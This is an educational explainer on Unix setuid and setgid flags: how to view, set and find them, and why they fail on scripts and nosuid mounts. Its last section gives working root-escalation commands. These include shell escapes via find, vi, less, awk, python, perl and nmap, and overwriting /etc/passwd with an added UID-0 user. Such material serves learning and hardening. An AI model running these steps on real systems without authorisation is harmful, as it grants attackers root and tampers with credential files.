Privilege Escalation via setuid
- What is
setuid
? - What is
setgid
? - How can we view permissions / flags for a particular file?
- How can we change
setuid
orsetguid
flags for a particular file? - How can we find files with particular permissions / flags?
- Why doesn't setuid work on shell scripts?
- Why doesn't setuid work on files in /dev/shm (or other some filesystems)?
-
How can we exploit
setuid
executables to gain full root privileges?
What is setuid
?
Setuid
is a special Unix file flag that allows an executable to be run with the permissions of the file owner (rather than the current user). It is often used to allow normal users to perform certain tasks that would otherwise require root
access.
Examples:
sudo
needs to execute files asroot
(or an arbitrary user)su
needs to be able to switch to an arbitrary userpasswd
needs to modifyroot
owned/etc/passwd
chsh
needs to modifyroot
owned/etc/passwd
mount
needs to be able mount filesystems for non-root users (only allowed whenuser
mount option is set)
setuid
generally has no effect on non-executables or directories (exception: freeBSD).
What is setgid
?
setgid
is the same concept as setuid
but applied to groups - it allows an executable file to be run with the permissions of the file group owner.
setgid
can also be applied to directories, which causes newly created subdirectories and files contained inside it to inherit its group owner ID.
How can we view permissions / flags for a particular file?
The -l
option (long listing format) of the ls
command will display file permissions.
$ ls -l myfile
-rwsr-sr-x 1 root root 122 Mar 22 21:25 myfile
setuid
is indicated by the first s
and setgid
is indicated by the second s
. Also note that the file owner is root
which means this executable will be executed with root permissions.
The stat
command can also displays file permissions.
$ stat myfile
File: myfile
Size: 122 Blocks: 8 IO Block: 4096 regular file
Device: 801h/2049d Inode: 933052 Links: 1
Access: (6755/-rwsr-sr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2020-03-22 21:25:40.656002928 +0900
Modify: 2020-03-22 21:25:40.656002928 +0900
Change: 2020-03-22 21:26:28.980003379 +0900
Birth: -
How can we change setuid
or setguid
flags for a particular file?
We can use the chmod
(change file mode bits) command. When using octal mode format, setuid
and setgid
are encoded in the first digit as '4' and '2', respectively (or '6' for both).
Updating setuid
:
$ chmod u+s myfile # set bit
$ chmod u-s myfile # clear bit
$ chmod 4755 myfile # set using octal mode (-rwsr-x-r-x)
Updating setgid
:
$ chmod g+s myfile # set bit
$ chmod g-s myfile # clear bit
$ chmod 2755 myfile # set using octal mode (-rwxr-s-r-x)
Updating both at the same time:
$ chmod +s myfile # set bits
$ chmod -s myfile # clear bits
$ chmod 6755 myfile # set using octal mode (-rwsr-s-r-x)
How can we find files with particular permissions / flags?
We can use the find
command to find files that match particular permissions.
$ find / -xdev -user root -type f -perm -u+s -ls 2>/dev/null
/
start at root directory-xdev
don't descend into directories in other filesystems-user root
find files owned by root-type f
only find files (not directories)-perm -u+s
find files withsetuid
set-ls
runls
on each result, equivalent to-exec ls -dils {} \;
2>/dev/null
redirect errors to nowhere (i.e. hide them)
We can use a similar command for finding setgid
files:
$ find / -xdev -user root -type f -perm -g+s -ls 2>/dev/null
Why doesn't setuid work on shell scripts?
This is disabled in Linux for security reasons that would otherwise make it very easy to achieve privilege escalation / command execution. setuid
only works on binary executable files.
Why doesn't setuid work on files in /dev/shm (or other some filesystems)?
It is possible to disable setuid
for an entire filesystem by using the nosuid
option when mounting. This is often used for untrusted/temporary filesystems to make it more difficult for malicious activity.
We can check mount options with the mount
command.
$ mount
...
/dev/sda1 on / type ext4 (rw,noatime,errors=remount-ro)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
...
/dev/shm
(shared memory) is a world-writable temporary storage area backed by RAM (i.e. contents will be lost after restart).
How can we exploit setuid
executables to gain full root privileges?
setuid
on system and non-system executables can often lead to full root privileges in ways that are not always immediately obvious.
find
find
allows us to execute a command for each result.
$ touch /tmp/file # create a file to limit to single result
$ find /tmp/file -exec /bin/sh \;
vi
We can open a shell from vi
.
$ vi
:shell
We can also edit system files to give us more permissions (works with any setuid
text editor).
$ vi /etc/sudoers
less, more
We can open a shell from less
or more
.
$ less /tmp/file
!
python, perl
Most programming languages provide a way to execute arbitrary system commands.
$ python -c "import os; os.system('/bin/sh')"
$ perl -e "system('/bin/sh')"
awk
We can execute arbitrary system commands with awk
.
$ awk 'BEGIN {system("/bin/sh")}'
cp, mv
We can use cp
or mv
to replace system files with modified ones. For example, we can replace /etc/passwd
with our own version that contains a user with the same user ID / group ID as root.
Generate password hash using openssl
:
$ openssl passwd -6 -salt salt password
$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.
Add a new user with same root user ID (or change existing user).
$ cat /etc/passwd > /tmp/passwd
$ echo "rootclone:$6$salt$IxDD3jeSOb5eB1CX5LBsqZFVkJdido3OUILO5Ifz5iwMuTS4XMS130MTSuDDl3aCI6WouIL9AjRbLCelDCy.g.:0:0:root:/root:/bin/bash" >> /tmp/passwd
Overwrite /etc/passwd
with our version.
$ cp /tmp/passwd /etc/passwd
nmap
Older versions of nmap
(2.02 to 5.21) had an interactive mode.
$ nmap --interactive
!sh
We can also create a NSE file (nmap custom script) that opens a shell.
$ echo "os.execute('/bin/sh')" > shell.nse
$ nmap --script=shell.nse